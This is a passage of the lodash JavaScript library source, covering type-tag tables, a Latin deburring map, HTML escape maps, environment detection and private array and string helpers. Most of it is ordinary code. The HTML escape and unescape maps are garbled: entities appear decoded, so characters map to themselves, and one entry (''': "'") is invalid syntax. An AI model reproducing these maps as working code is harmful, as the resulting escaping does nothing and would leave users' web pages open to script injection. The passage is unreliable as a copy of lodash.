var typedArrayTags = {};
typedArrayTags[float32Tag] = typedArrayTags[float64Tag] =
typedArrayTags[int8Tag] = typedArrayTags[int16Tag] =
typedArrayTags[int32Tag] = typedArrayTags[uint8Tag] =
typedArrayTags[uint8ClampedTag] = typedArrayTags[uint16Tag] =
typedArrayTags[uint32Tag] = true;
typedArrayTags[argsTag] = typedArrayTags[arrayTag] =
typedArrayTags[arrayBufferTag] = typedArrayTags[boolTag] =
typedArrayTags[dataViewTag] = typedArrayTags[dateTag] =
typedArrayTags[errorTag] = typedArrayTags[funcTag] =
typedArrayTags[mapTag] = typedArrayTags[numberTag] =
typedArrayTags[objectTag] = typedArrayTags[regexpTag] =
typedArrayTags[setTag] = typedArrayTags[stringTag] =
typedArrayTags[weakMapTag] = false;
/** Used to identify `toStringTag` values supported by `_.clone`. */
var cloneableTags = {};
cloneableTags[argsTag] = cloneableTags[arrayTag] =
cloneableTags[arrayBufferTag] = cloneableTags[dataViewTag] =
cloneableTags[boolTag] = cloneableTags[dateTag] =
cloneableTags[float32Tag] = cloneableTags[float64Tag] =
cloneableTags[int8Tag] = cloneableTags[int16Tag] =
cloneableTags[int32Tag] = cloneableTags[mapTag] =
cloneableTags[numberTag] = cloneableTags[objectTag] =
cloneableTags[regexpTag] = cloneableTags[setTag] =
cloneableTags[stringTag] = cloneableTags[symbolTag] =
cloneableTags[uint8Tag] = cloneableTags[uint8ClampedTag] =
cloneableTags[uint16Tag] = cloneableTags[uint32Tag] = true;
cloneableTags[errorTag] = cloneableTags[funcTag] =
cloneableTags[weakMapTag] = false;
/** Used to map Latin Unicode letters to basic Latin letters. */
var deburredLetters = {
// Latin-1 Supplement block.
'\xc0': 'A', '\xc1': 'A', '\xc2': 'A', '\xc3': 'A', '\xc4': 'A', '\xc5': 'A',
'\xe0': 'a', '\xe1': 'a', '\xe2': 'a', '\xe3': 'a', '\xe4': 'a', '\xe5': 'a',
'\xc7': 'C', '\xe7': 'c',
'\xd0': 'D', '\xf0': 'd',
'\xc8': 'E', '\xc9': 'E', '\xca': 'E', '\xcb': 'E',
'\xe8': 'e', '\xe9': 'e', '\xea': 'e', '\xeb': 'e',
'\xcc': 'I', '\xcd': 'I', '\xce': 'I', '\xcf': 'I',
'\xec': 'i', '\xed': 'i', '\xee': 'i', '\xef': 'i',
'\xd1': 'N', '\xf1': 'n',
'\xd2': 'O', '\xd3': 'O', '\xd4': 'O', '\xd5': 'O', '\xd6': 'O', '\xd8': 'O',
'\xf2': 'o', '\xf3': 'o', '\xf4': 'o', '\xf5': 'o', '\xf6': 'o', '\xf8': 'o',
'\xd9': 'U', '\xda': 'U', '\xdb': 'U', '\xdc': 'U',
'\xf9': 'u', '\xfa': 'u', '\xfb': 'u', '\xfc': 'u',
'\xdd': 'Y', '\xfd': 'y', '\xff': 'y',
'\xc6': 'Ae', '\xe6': 'ae',
'\xde': 'Th', '\xfe': 'th',
'\xdf': 'ss',
// Latin Extended-A block.
'\u0100': 'A', '\u0102': 'A', '\u0104': 'A',
'\u0101': 'a', '\u0103': 'a', '\u0105': 'a',
'\u0106': 'C', '\u0108': 'C', '\u010a': 'C', '\u010c': 'C',
'\u0107': 'c', '\u0109': 'c', '\u010b': 'c', '\u010d': 'c',
'\u010e': 'D', '\u0110': 'D', '\u010f': 'd', '\u0111': 'd',
'\u0112': 'E', '\u0114': 'E', '\u0116': 'E', '\u0118': 'E', '\u011a': 'E',
'\u0113': 'e', '\u0115': 'e', '\u0117': 'e', '\u0119': 'e', '\u011b': 'e',
'\u011c': 'G', '\u011e': 'G', '\u0120': 'G', '\u0122': 'G',
'\u011d': 'g', '\u011f': 'g', '\u0121': 'g', '\u0123': 'g',
'\u0124': 'H', '\u0126': 'H', '\u0125': 'h', '\u0127': 'h',
'\u0128': 'I', '\u012a': 'I', '\u012c': 'I', '\u012e': 'I', '\u0130': 'I',
'\u0129': 'i', '\u012b': 'i', '\u012d': 'i', '\u012f': 'i', '\u0131': 'i',
'\u0134': 'J', '\u0135': 'j',
'\u0136': 'K', '\u0137': 'k', '\u0138': 'k',
'\u0139': 'L', '\u013b': 'L', '\u013d': 'L', '\u013f': 'L', '\u0141': 'L',
'\u013a': 'l', '\u013c': 'l', '\u013e': 'l', '\u0140': 'l', '\u0142': 'l',
'\u0143': 'N', '\u0145': 'N', '\u0147': 'N', '\u014a': 'N',
'\u0144': 'n', '\u0146': 'n', '\u0148': 'n', '\u014b': 'n',
'\u014c': 'O', '\u014e': 'O', '\u0150': 'O',
'\u014d': 'o', '\u014f': 'o', '\u0151': 'o',
'\u0154': 'R', '\u0156': 'R', '\u0158': 'R',
'\u0155': 'r', '\u0157': 'r', '\u0159': 'r',
'\u015a': 'S', '\u015c': 'S', '\u015e': 'S', '\u0160': 'S',
'\u015b': 's', '\u015d': 's', '\u015f': 's', '\u0161': 's',
'\u0162': 'T', '\u0164': 'T', '\u0166': 'T',
'\u0163': 't', '\u0165': 't', '\u0167': 't',
'\u0168': 'U', '\u016a': 'U', '\u016c': 'U', '\u016e': 'U', '\u0170': 'U', '\u0172': 'U',
'\u0169': 'u', '\u016b': 'u', '\u016d': 'u', '\u016f': 'u', '\u0171': 'u', '\u0173': 'u',
'\u0174': 'W', '\u0175': 'w',
'\u0176': 'Y', '\u0177': 'y', '\u0178': 'Y',
'\u0179': 'Z', '\u017b': 'Z', '\u017d': 'Z',
'\u017a': 'z', '\u017c': 'z', '\u017e': 'z',
'\u0132': 'IJ', '\u0133': 'ij',
'\u0152': 'Oe', '\u0153': 'oe',
'\u0149': "'n", '\u017f': 's'
};
/** Used to map characters to HTML entities. */
var htmlEscapes = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": '''
};
/** Used to map HTML entities to characters. */
var htmlUnescapes = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
''': "'"
};
/** Used to escape characters for inclusion in compiled string literals. */
var stringEscapes = {
'\\': '\\',
"'": "'",
'\n': 'n',
'\r': 'r',
'\u2028': 'u2028',
'\u2029': 'u2029'
};
/** Built-in method references without a dependency on `root`. */
var freeParseFloat = parseFloat,
freeParseInt = parseInt;
/** Detect free variable `global` from Node.js. */
var freeGlobal = typeof global == 'object' && global && global.Object === Object && global;
/** Detect free variable `self`. */
var freeSelf = typeof self == 'object' && self && self.Object === Object && self;
/** Used as a reference to the global object. */
var root = freeGlobal || freeSelf || Function('return this')();
/** Detect free variable `exports`. */
var freeExports = true && exports && !exports.nodeType && exports;
/** Detect free variable `module`. */
var freeModule = freeExports && typeof module == 'object' && module && !module.nodeType && module;
/** Detect the popular CommonJS extension `module.exports`. */
var moduleExports = freeModule && freeModule.exports === freeExports;
/** Detect free variable `process` from Node.js. */
var freeProcess = moduleExports && freeGlobal.process;
/** Used to access faster Node.js helpers. */
var nodeUtil = (function() {
try {
// Use `util.types` for Node.js 10+.
var types = freeModule && freeModule.require && freeModule.require('util').types;
if (types) {
return types;
}
// Legacy `process.binding('util')` for Node.js < 10.
return freeProcess && freeProcess.binding && freeProcess.binding('util');
} catch (e) {}
}());
/* Node.js helper references. */
var nodeIsArrayBuffer = nodeUtil && nodeUtil.isArrayBuffer,
nodeIsDate = nodeUtil && nodeUtil.isDate,
nodeIsMap = nodeUtil && nodeUtil.isMap,
nodeIsRegExp = nodeUtil && nodeUtil.isRegExp,
nodeIsSet = nodeUtil && nodeUtil.isSet,
nodeIsTypedArray = nodeUtil && nodeUtil.isTypedArray;
/*--------------------------------------------------------------------------*/
/**
* A faster alternative to `Function#apply`, this function invokes `func`
* with the `this` binding of `thisArg` and the arguments of `args`.
*
* @private
* @param {Function} func The function to invoke.
* @param {*} thisArg The `this` binding of `func`.
* @param {Array} args The arguments to invoke `func` with.
* @returns {*} Returns the result of `func`.
*/
function apply(func, thisArg, args) {
switch (args.length) {
case 0: return func.call(thisArg);
case 1: return func.call(thisArg, args[0]);
case 2: return func.call(thisArg, args[0], args[1]);
case 3: return func.call(thisArg, args[0], args[1], args[2]);
}
return func.apply(thisArg, args);
}
/**
* A specialized version of `baseAggregator` for arrays.
*
* @private
* @param {Array} [array] The array to iterate over.
* @param {Function} setter The function to set `accumulator` values.
* @param {Function} iteratee The iteratee to transform keys.
* @param {Object} accumulator The initial aggregated object.
* @returns {Function} Returns `accumulator`.
*/
function arrayAggregator(array, setter, iteratee, accumulator) {
var index = -1,
length = array == null ? 0 : array.length;
while (++index < length) {
var value = array[index];
setter(accumulator, value, iteratee(value), array);
}
return accumulator;
}
/**
* A specialized version of `_.forEach` for arrays without support for
* iteratee shorthands.
*
* @private
* @param {Array} [array] The array to iterate over.
* @param {Function} iteratee The function invoked per iteration.
* @returns {Array} Returns `array`.
*/
function arrayEach(array, iteratee) {
var index = -1,
length = array == null ? 0 : array.length;
while (++index < length) {
if (iteratee(array[index], index, array) === false) {
break;
}
}
return array;
}
/**
* A specialized version of `_.forEachRight` for arrays without support for
* iteratee shorthands.
*
* @private
* @param {Array} [array] The array to iterate over.
* @param {Function} iteratee The function invoked per iteration.
* @returns {Array} Returns `array`.
*/
function arrayEachRight(array, iteratee) {
var length = array == null ? 0 : array.length;
while (length--) {
if (iteratee(array[length], length, array) === false) {
break;
}
}
return array;
}
/**
* A specialized version of `_.every` for arrays without support for
* iteratee shorthands.
*
* @private
* @param {Array} [array] The array to iterate over.
* @param {Function} predicate The function invoked per iteration.
* @returns {boolean} Returns `true` if all elements pass the predicate check,
* else `false`.
*/
function arrayEvery(array, predicate) {
var index = -1,
length = array == null ? 0 : array.length;
while (++index < length) {
if (!predicate(array[index], index, array)) {
return false;
}
}
return true;
}
/**
* A specialized version of `_.filter` for arrays without support for
* iteratee shorthands.
*
* @private
* @param {Array} [array] The array to iterate over.
* @param {Function} predicate The function invoked per iteration.
* @returns {Array} Returns the new filtered array.
*/
function arrayFilter(array, predicate) {
var index = -1,
length = array == null ? 0 : array.length,
resIndex = 0,
result = [];
while (++index < length) {
var value = array[index];
if (predicate(value, index, array)) {
result[resIndex++] = value;
}
}
return result;
}
/**
* A specialized version of `_.includes` for arrays without support for
* specifying an index to search from.
*
* @private
* @param {Array} [array] The array to inspect.
* @param {*} target The value to search for.
* @returns {boolean} Returns `true` if `target` is found, else `false`.
*/
function arrayIncludes(array, value) {
var length = array == null ? 0 : array.length;
return !!length && baseIndexOf(array, value, 0) > -1;
}
/**
* This function is like `arrayIncludes` except that it accepts a comparator.
*
* @private
* @param {Array} [array] The array to inspect.
* @param {*} target The value to search for.
* @param {Function} comparator The comparator invoked per element.
* @returns {boolean} Returns `true` if `target` is found, else `false`.
*/
function arrayIncludesWith(array, value, comparator) {
var index = -1,
length = array == null ? 0 : array.length;
while (++index < length) {
if (comparator(value, array[index])) {
return true;
}
}
return false;
}
/**
* A specialized version of `_.map` for arrays without support for iteratee
* shorthands.
*
* @private
* @param {Array} [array] The array to iterate over.
* @param {Function} iteratee The function invoked per iteration.
* @returns {Array} Returns the new mapped array.
*/
function arrayMap(array, iteratee) {
var index = -1,
length = array == null ? 0 : array.length,
result = Array(length);
while (++index < length) {
result[index] = iteratee(array[index], index, array);
}
return result;
}
/**
* Appends the elements of `values` to `array`.
*
* @private
* @param {Array} array The array to modify.
* @param {Array} values The values to append.
* @returns {Array} Returns `array`.
*/
function arrayPush(array, values) {
var index = -1,
length = values.length,
offset = array.length;
while (++index < length) {
array[offset + index] = values[index];
}
return array;
}
/**
* A specialized version of `_.reduce` for arrays without support for
* iteratee shorthands.
*
* @private
* @param {Array} [array] The array to iterate over.
* @param {Function} iteratee The function invoked per iteration.
* @param {*} [accumulator] The initial value.
* @param {boolean} [initAccum] Specify using the first element of `array` as
* the initial value.
* @returns {*} Returns the accumulated value.
*/
function arrayReduce(array, iteratee, accumulator, initAccum) {
var index = -1,
length = array == null ? 0 : array.length;
if (initAccum && length) {
accumulator = array[++index];
}
while (++index < length) {
accumulator = iteratee(accumulator, array[index], index, array);
}
return accumulator;
}
/**
* A specialized version of `_.reduceRight` for arrays without support for
* iteratee shorthands.
*
* @private
* @param {Array} [array] The array to iterate over.
* @param {Function} iteratee The function invoked per iteration.
* @param {*} [accumulator] The initial value.
* @param {boolean} [initAccum] Specify using the last element of `array` as
* the initial value.
* @returns {*} Returns the accumulated value.
*/
function arrayReduceRight(array, iteratee, accumulator, initAccum) {
var length = array == null ? 0 : array.length;
if (initAccum && length) {
accumulator = array[--length];
}
while (length--) {
accumulator = iteratee(accumulator, array[length], length, array);
}
return accumulator;
}
/**
* A specialized version of `_.some` for arrays without support for iteratee
* shorthands.
*
* @private
* @param {Array} [array] The array to iterate over.
* @param {Function} predicate The function invoked per iteration.
* @returns {boolean} Returns `true` if any element passes the predicate check,
* else `false`.
*/
function arraySome(array, predicate) {
var index = -1,
length = array == null ? 0 : array.length;
while (++index < length) {
if (predicate(array[index], index, array)) {
return true;
}
}
return false;
}
/**
* Gets the size of an ASCII `string`.
*
* @private
* @param {string} string The string inspect.
* @returns {number} Returns the string size.
*/
var asciiSize = baseProperty('length');
/**
* Converts an ASCII `string` to an array.
*
* @private
* @param {string} string The string to convert.
* @returns {Array} Returns the converted array.
*/
function asciiToArray(string) {
return string.split('');
}
/**
* Splits an ASCII `string` into an array of its words.
*
* @private
* @param {string} The string to inspect.
* @returns {Array} Returns the words of `string`.
*/
function asciiWords(string) {
return string.match(reAsciiWord) || [];
}
/**
* The base implementation of methods like `_.findKey` and `_.findLastKey`,
* without support for iteratee shorthands, which iterates over `collection`
* using `eachFunc`.
*
* @private
* @param {Array|Object} collection The collection to inspect.
* @param {Function} predicate The function invoked per iteration.
* @param {Function} eachFunc The function to iterate over `collection`.
* @returns {*} Returns the found element or its key, else `undefined`.
*/
function baseFindKey(collection, predicate, eachFunc) {
var result;
eachFunc(collection, function(value, key, collection) {
if (predicate(value, key, collection)) {
result = key;
return false;
}
});
return result;
}
/**
* The base implementation of `_.findIndex` and `_.findLastIndex` without
* support for iteratee shorthands.
*
* @private
* @param {Array} array The array to inspect.
* @param {Function} predicate The function invoked per iteration.
* @param {number} fromIndex The index to search from.
* @param {boolean} [fromRight] Specify iterating from right to left.
* @returns {number} Returns the index of the matched value, else `-1`.
*/
function baseFindIndex(array, predicate, fromIndex, fromRight) {
var length = array.length,
index = fromIndex + (fromRight ? 1 : -1);
while ((fromRight ? index-- : ++index < length)) {
if (predicate(array[index], index, array)) {
return index;
}
}
return -1;
}
/**
* The base implementation of `_.indexOf` without `fromIndex` bounds checks.
*
* @private
* @param {Array} array The array to inspect.
* @param {*} value The value to search for.
* @param {number} fromIndex The index to search from.
* @returns {number} Returns the index of the matched value, else `-1`.
*/
function baseIndexOf(array, value, fromIndex) {
return value === value
? strictIndexOf(array, value, fromIndex)
: baseFindIndex(array, baseIsNaN, fromIndex);
}
/**
* This function is like `baseIndexOf` except that it accepts a comparator.
*
* @private
* @param {Array} array The array to inspect.
* @param {*} value The value to search for.
* @param {number} fromIndex The index to search from.
* @param {Function} comparator The comparator invoked per element.
* @returns {number} Returns the index of the matched value, else `-1`.
*/
function baseIndexOfWith(array, value, fromIndex, comparator) {
var index = fromIndex - 1,
length = array.length;
while (++index < length) {
if (comparator(array[index], value)) {
return index;
}
}
return -1;
}
/**
* The base implementation of `_.isNaN` without support for number objects.
*
* @private
* @param {*} value The value to check.
* @returns {boolean} Returns `true` if `value` is `NaN`, else `false`.
*/
function baseIsNaN(value) {
return value !== value;
}
/**
* The base implementation of `_.mean` and `_.meanBy` without support for
* iteratee shorthands.
*
* @private
* @param {Array} array The array to iterate over.
* @param {Function} iteratee The function invoked per iteration.
* @returns {number} Returns the mean.
*/
function baseMean(array, iteratee) {
var length = array == null ? 0 : array.length;
return length ? (baseSum(array, iteratee) / length) : NAN;
}
/**
* The base implementation of `_.property` without support for deep paths.
*
* @private
* @param {string} key The key of the property to get.
* @returns {Function} Returns the new accessor function.
*/
function baseProperty(key) {
return function(object) {
return object == null ? undefined : object[key];
};
}
/**
* The base implementation of `_.propertyOf` without support for deep paths.
*
* @private
* @param {Object} object The object to query.
* @returns {Function} Returns the new accessor function.
*/
function basePropertyOf(object) {
return function(key) {
return object == null ? undefined : object[key];
};
}
/**
* The base implementation of `_.reduce` and `_.reduceRight`, without support
* for iteratee shorthands, which iterates over `collection` using `eachFunc`.
*
* @private
* @param {Array|Object} collection The collection to iterate over.
* @param {Function} iteratee The function invoked per iteration.
* @param {*} accumulator The initial value.
* @param {boolean} initAccum Specify using the first or last element of
* `collection` as the initial value.
* @param {Function} eachFunc The function to iterate over `collection`.
* @returns {*} Returns the accumulated value.
*/
function baseReduce(collection, iteratee, accumulator, initAccum, eachFunc) {
eachFunc(collection, function(value, index, collection) {
accumulator = initAccum
? (initAccum = false, value)
: iteratee(accumulator, value, index, collection);
});
return accumulator;
}
/**
* The base implementation of `_.sortBy` which uses `comparer` to define the
* sort order of `array` and replaces criteria objects with their corresponding
* values.
*
* @private
* @param {Array} array The array to sort.
* @param {Function} comparer The function to define sort order.
* @returns {Array} Returns `array`.
*/
function baseSortBy(array, comparer) {
var length = array.length;
array.sort(comparer);
while (length--) {
array[length] = array[length].value;
}
return array;
}
/**
* The base implementation of `_.sum` and `_.sumBy` without support for
* iteratee shorthands.
*
* @private
* @param {Array} array The array to iterate over.
* @param {Function} iteratee The function invoked per iteration.
* @returns {number} Returns the sum.
*/
function baseSum(array, iteratee) {
var result,
index = -1,
length = array.length;
while (++index < length) {
var current = iteratee(array[index]);
if (current !== undefined) {
result = result === undefined ? current : (result + current);
}
}
return result;
}
/**
* The base implementation of `_.times` without support for iteratee shorthands
* or max array length checks.
*
* @private
* @param {number} n The number of times to invoke `iteratee`.
* @param {Function} iteratee The function invoked per iteration.
* @returns {Array} Returns the array of results.
*/
function baseTimes(n, iteratee) {
var index = -1,
result = Array(n);
while (++index < n) {
result[index] = iteratee(index);
}
return result;
}
/**
* The base implementation of `_.toPairs` and `_.toPairsIn` which creates an array
* of key-value pairs for `object` corresponding to the property names of `props`.
*
* @private
* @param {Object} object The object to query.
* @param {Array} props The property names to get values for.
* @returns {Object} Returns the key-value pairs.
*/
function baseToPairs(object, props) {
return arrayMap(props, function(key) {
return [key, object[key]];
});
}
/**
* The base implementation of `_.trim`.
*
* @private
* @param {string} string The string to trim.
* @returns {string} Returns the trimmed string.
*/
function baseTrim(string) {
return string
? string.slice(0, trimmedEndIndex(string) + 1).replace(reTrimStart, '')
: string;
}
/**
* The base implementation of `_.unary` without support for storing metadata.
*
* @private
* @param {Function} func The function to cap arguments for.
* @returns {Function} Returns the new capped function.
*/
function baseUnary(func) {
return function(value) {
return func(value);
};
}
/**
* The base implementation of `_.values` and `_.valuesIn` which creates an
* array of `object` property values corresponding to the property names
* of `props`.
*
* @private
* @param {Object} object The object to query.
* @param {Array} props The property names to get values for.
* @returns {Object} Returns the array of property values.
*/
function baseValues(object, props) {
return arrayMap(props, function(key) {
return object[key];
});
}
/**
* Checks if a `cache` value for `key` exists.
*
* @private
* @param {Object} cache The cache to query.
* @param {string} key The key of the entry to check.
* @returns {boolean} Returns `true` if an entry for `key` exists, else `false`.
*/
function cacheHas(cache, key) {
return cache.has(key);
}
/**
* Used by `_.trim` and `_.trimStart` to get the index of the first string symbol
* that is not found in the character symbols.
*
* @private
* @param {Array} strSymbols The string symbols to inspect.
* @param {Array} chrSymbols The character symbols to find.
* @returns {number} Returns the index of the first unmatched string symbol.
*/
function charsStartIndex(strSymbols, chrSymbols) {
var index = -1,
length = strSymbols.length;
while (++index < length && baseIndexOf(chrSymbols, strSymbols[index], 0) > -1) {}
return index;
}
/**
* Used by `_.trim` and `_.trimEnd` to get the index of the last string symbol
* that is not found in the character symbols.
*
* @private
* @param {Array} strSymbols The string symbols to inspect.
* @param {Array} chrSymbols The character symbols to find.
* @returns {number} Returns the index of the last unmatched string symbol.
*/
function charsEndIndex(strSymbols, chrSymbols) {
var index = strSymbols.length;
while (index-- && baseIndexOf(chrSymbols, strSymbols[index], 0) > -1) {}
return index;
}
/**
* Gets the number of `placeholder` occurrences in `array`.
*
* @private
* @param {Array} array The array to inspect.
* @param {*} placeholder The placeholder to search for.
* @returns {number} Returns the placeholder count.
*/
function countHolders(array, placeholder) {
var length = array.length,
result = 0;
while (length--) {
if (array[length] === placeholder) {
++result;
}
}
return result;
}
/**
* Used by `_.deburr` to convert Latin-1 Supplement and Latin Extended-A
* letters to basic Latin letters.
*
* @private
* @param {string} letter The matched letter to deburr.
* @returns {string} Returns the deburred letter.
*/
var deburrLetter = basePropertyOf(deburredLetters);
/**
* Used by `_.escape` to convert characters to HTML entities.
*
* @private
* @param {string} chr The matched character to escape.
* @returns {string} Returns the escaped character.
*/
var escapeHtmlChar = basePropertyOf(htmlEscapes);
/**
* Used by `_.template` to escape characters for inclusion in compiled string literals.
*
* @private
* @param {string} chr The matched character to escape.
* @returns {string} Returns the escaped character.
*/
function escapeStringChar(chr) {
return '\\' + stringEscapes[chr];
}
/**
* Gets the value at `key` of `object`.
*
* @private
* @param {Object} [object] The object to query.
* @param {string} key The key of the property to get.
* @returns {*} Returns the property value.
*/
function getValue(object, key) {
return object == null ? undefined : object[key];
}
/**
* Checks if `string` contains Unicode symbols.
*
* @private
* @param {string} string The string to inspect.
* @returns {boolean} Returns `true` if a symbol is found, else `false`.
*/
function hasUnicode(string) {
return reHasUnicode.test(string);
}
/**
* Checks if `string` contains a word composed of Unicode symbols.
*
* @private
* @param {string} string The string to inspect.
* @returns {boolean} Returns `true` if a word is found, else `false`.
*/
function hasUnicodeWord(string) {
return reHasUnicodeWord.test(string);
}
/**
* Converts `iterator` to an array.
*
* @private
* @param {Object} iterator The iterator to convert.
* @returns {Array} Returns the converted array.
*/
function iteratorToArray(iterator) {
var data,
result = [];
while (!(data = iterator.next()).done) {
result.push(data.value);
}
return result;
}
/**
* Converts `map` to its key-value pairs.
*
* @private
* @param {Object} map The map to convert.
* @returns {Array} Returns the key-value pairs.
*/
function mapToArray(map) {
var index = -1,
result = Array(map.size);
map.forEach(function(value, key) {
result[++index] = [key, value];
});
return result;
}
/**
* Creates a unary function that invokes `func` with its argument transformed.
*
* @private
* @param {Function} func The function to wrap.
* @param {Function} transform The argument transform.
* @returns {Function} Returns the new function.
*/
function overArg(func, transform) {
return function(arg) {
return func(transform(arg));
};
}
/**
* Replaces all `placeholder` elements in `array` with an internal placeholder
* and returns an array of their indexes.
*
* @private
* @param {Array} array The array to modify.
* @param {*} placeholder The placeholder to replace.
* @returns {Array} Returns the new array of placeholder indexes.
*/
function replaceHolders(array, placeholder) {
var index = -1,
length = array.length,
resIndex = 0,
result = [];
while (++index < length) {
var value = array[index];
if (value === placeholder || value === PLACEHOLDER) {
array[index] = PLACEHOLDER;
result[resIndex++] = index;
}
}
return result;
}
/**
* Converts `set` to an array of its values.
*
* @private
* @param {Object} set The set to convert.
* @returns {Array} Returns the values.
*/
function setToArray(set) {
var index = -1,
result = Array(set.size);
set.forEach(function(value) {
result[++index] = value;
});
return result;
}
/**
* Converts `set` to its value-value pairs.
*
* @private
* @param {Object} set The set to convert.
* @returns {Array} Returns the value-value pairs.
*/
function setToPairs(set) {
var index = -1,
result = Array(set.size);
set.forEach(function(value) {
result[++index] = [value, value];
});
return result;
}
/**
* A specialized version of `_.indexOf` which performs strict equality
* comparisons of values, i.e. `===`.
*
* @private
* @param {Array} array The array to inspect.
* @param {*} value The value to search for.
* @param {number} fromIndex The index to search from.
* @returns {number} Returns the index of the matched value, else `-1`.
*/
function strictIndexOf(array, value, fromIndex) {
var index = fromIndex - 1,
length = array.length;
while (++index < length) {
if (array[index] === value) {
return index;
}
}
return -1;
}
/**
* A specialized version of `_.lastIndexOf` which performs strict equality
* comparisons of values, i.e. `===`.
*
* @private
* @param {Array} array The array to inspect.
* @param {*} value The value to search for.
* @param {number} fromIndex The index to search from.
* @returns {number} Returns the index of the matched value, else `-1`.
*/
function strictLastIndexOf(array, value, fromIndex) {
var index = fromIndex + 1;
while (index--) {
if (array[index] === value) {
return index;
}
}
return index;
}
/**
* Gets the number of symbols in `string`.
*
* @private
* @param {string} string The string to inspect.
* @returns {number} Returns the string size.
*/
function stringSize(string) {
return hasUnicode(string)
? unicodeSize(string)
: asciiSize(string);
}
/**
* Converts `string` to an array.
*
* @private
* @param {string} string The string to convert.
* @returns {Array} Returns the converted array.
*/
function stringToArray(string) {
return hasUnicode(string)
? unicodeToArray(string)
: asciiToArray(string);
}
/**
* Used by `_.trim` and `_.trimEnd` to get the index of the last non-whitespace
* character of `string`.
*
* @private
* @param {string} string The string to inspect.
* @returns {number} Returns the index of the last non-whitespace character.
*/
function trimmedEndIndex(string) {
var index = string.length;
while (index-- && reWhitespace.test(string.charAt(index))) {}
return index;
}
/**
* Used by `_.unescape` to convert HTML entities to characters.
*
* @private
* @param {string} chr The matched character to unescape.
* @returns {string} Returns the unescaped character.
*/
var unescapeHtmlChar = basePropertyOf(htmlUnescapes);
/**
* Gets the size of a Unicode `string`.
*
* @private
* @param {string} string The string inspect.
* @returns {number} Returns the string size.
*/
function unicodeSize(string) {
var result = reUnicode.lastIndex = 0;
while (reUnicode.test(string)) {
++result;
}
return result;
}
/**
* Converts a Unicode `string` to an array.
*
* @private
* @param {string} string The string to convert.
* @returns {Array} Returns the converted array.
*/
function unicodeToArray(string) {
return string.match(reUnicode) || [];
}
/**
* Splits a Unicode `string` into an array of its words.
*
* @private
* @param {string} The string to inspect.
* @returns {Array} Returns the words of `string`.
*/
function unicodeWords(string) {
return string.match(reUnicodeWord) || [];
}
/*--------------------------------------------------------------------------*/
/**
* Create a new pristine `lodash` function using the `context` object.
*
* @static
* @memberOf _
* @since 1.1.0
* @category Util
* @param {Object} [context=root] The context object.
* @returns {Function} Returns a new `lodash` function.
* @example
*
* _.mixin({ 'foo': _.constant('foo') });
*
* var lodash = _.runInContext();
* lodash.mixin({ 'bar': lodash.constant('bar') });
*
* _.isFunction(_.foo);
* // => true
* _.isFunction(_.bar);
* // => false
*
* lodash.isFunction(lodash.foo);
* // => false
* lodash.isFunction(lodash.bar);
* // => true
*
* // Create a suped-up `defer` in Node.js.
* var defer = _.runInContext({ 'setTimeout': setImmediate }).defer;
*/
var runInContext = (function runInContext(context) {
context = context == null ? root : _.defaults(root.Object(), context, _.pick(root, contextProps));
/** Built-in constructor references. */
var Array = context.Array,
Date = context.Date,
Error = context.Error,
Function = context.Function,
Math = context.Math,
Object = context.Object,
RegExp = context.RegExp,
String = context.String,
TypeError = context.TypeError;
/** Used for built-in method references. */
var arrayProto = Array.prototype,
funcProto = Function.prototype,
objectProto = Object.prototype;
/** Used to detect overreaching core-js shims. */
var coreJsData = context['__core-js_shared__'];
/** Used to resolve the decompiled source of functions. */
var funcToString = funcProto.toString;
/** Used to check objects for own properties. */
var hasOwnProperty = objectProto.hasOwnProperty;
/** Used to generate unique IDs. */
var idCounter = 0;
/** Used to detect methods masquerading as native. */
var maskSrcKey = (function() {
var uid = /[^.]+$/.exec(coreJsData && coreJsData.keys && coreJsData.keys.IE_PROTO || '');
return uid ? ('Symbol(src)_1.' + uid) : '';
}());
/**
* Used to resolve the
* [`toStringTag`](http://ecma-international.org/ecma-262/7.0/#sec-object.prototype.tostring)
* of values.
*/
var nativeObjectToString = objectProto.toString;
/** Used to infer the `Object` constructor. */
var objectCtorString = funcToString.call(Object);
/** Used to restore the original `_` reference in `_.noConflict`. */
var oldDash = root._;
/** Used to detect if a method is native. */
var reIsNative = RegExp('^' +
funcToString.call(hasOwnProperty).replace(reRegExpChar, '\\$&')
.replace(/hasOwnProperty|(function).*?(?=\\\()| for .+?(?=\\\])/g, '$1.*?') + '$'
);
/** Built-in value references. */
var Buffer = moduleExports ? context.Buffer : undefined,
Symbol = context.Symbol,
Uint8Array = context.Uint8Array,
allocUnsafe = Buffer ? Buffer.allocUnsafe : undefined,
getPrototype = overArg(Object.getPrototypeOf, Object),
objectCreate = Object.create,
propertyIsEnumerable = objectProto.propertyIsEnumerable,
splice = arrayProto.splice,
spreadableSymbol = Symbol ? Symbol.isConcatSpreadable : undefined,
symIterator = Symbol ? Symbol.iterator : undefined,
symToStringTag = Symbol ? Symbol.toStringTag : undefined;
var defineProperty = (function() {
try {
var func = getNative(Object, 'defineProperty');
func({}, '', {});
return func;
} catch (e) {}
}());
/** Mocked built-ins. */
var ctxClearTimeout = context.clearTimeout !== root.clearTimeout && context.clearTimeout,
ctxNow = Date && Date.now !== root.Date.now && Date.now,
ctxSetTimeout = context.setTimeout !== root.setTimeout && context.setTimeout;
/* Built-in method references for those with the same name as other `lodash` methods. */
var nativeCeil = Math.ceil,
nativeFloor = Math.floor,
nativeGetSymbols = Object.getOwnPropertySymbols,
nativeIsBuffer = Buffer ? Buffer.isBuffer : undefined,
nativeIsFinite = context.isFinite,
nativeJoin = arrayProto.join,
nativeKeys = overArg(Object.keys, Object),
nativeMax = Math.max,
nativeMin = Math.min,
nativeNow = Date.now,
nativeParseInt = context.parseInt,
nativeRandom = Math.random,
nativeReverse = arrayProto.reverse;
/* Built-in method references that are verified to be native. */
var DataView = getNative(context, 'DataView'),
Map = getNative(context, 'Map'),
Promise = getNative(context, 'Promise'),
Set = getNative(context, 'Set'),
WeakMap = getNative(context, 'WeakMap'),
nativeCreate = getNative(Object, 'create');
/** Used to store function metadata. */
var metaMap = WeakMap && new WeakMap;
/** Used to lookup unminified function names. */
var realNames = {};
/** Used to detect maps, sets, and weakmaps. */
var dataViewCtorString = toSource(DataView),
mapCtorString = toSource(Map),
promiseCtorString = toSource(Promise),
setCtorString = toSource(Set),
weakMapCtorString = toSource(WeakMap);
/** Used to convert symbols to primitives and strings. */
var symbolProto = Symbol ? Symbol.prototype : undefined,
symbolValueOf = symbolProto ? symbolProto.valueOf : undefined,
symbolToString = symbolProto ? symbolProto.toString : undefined;
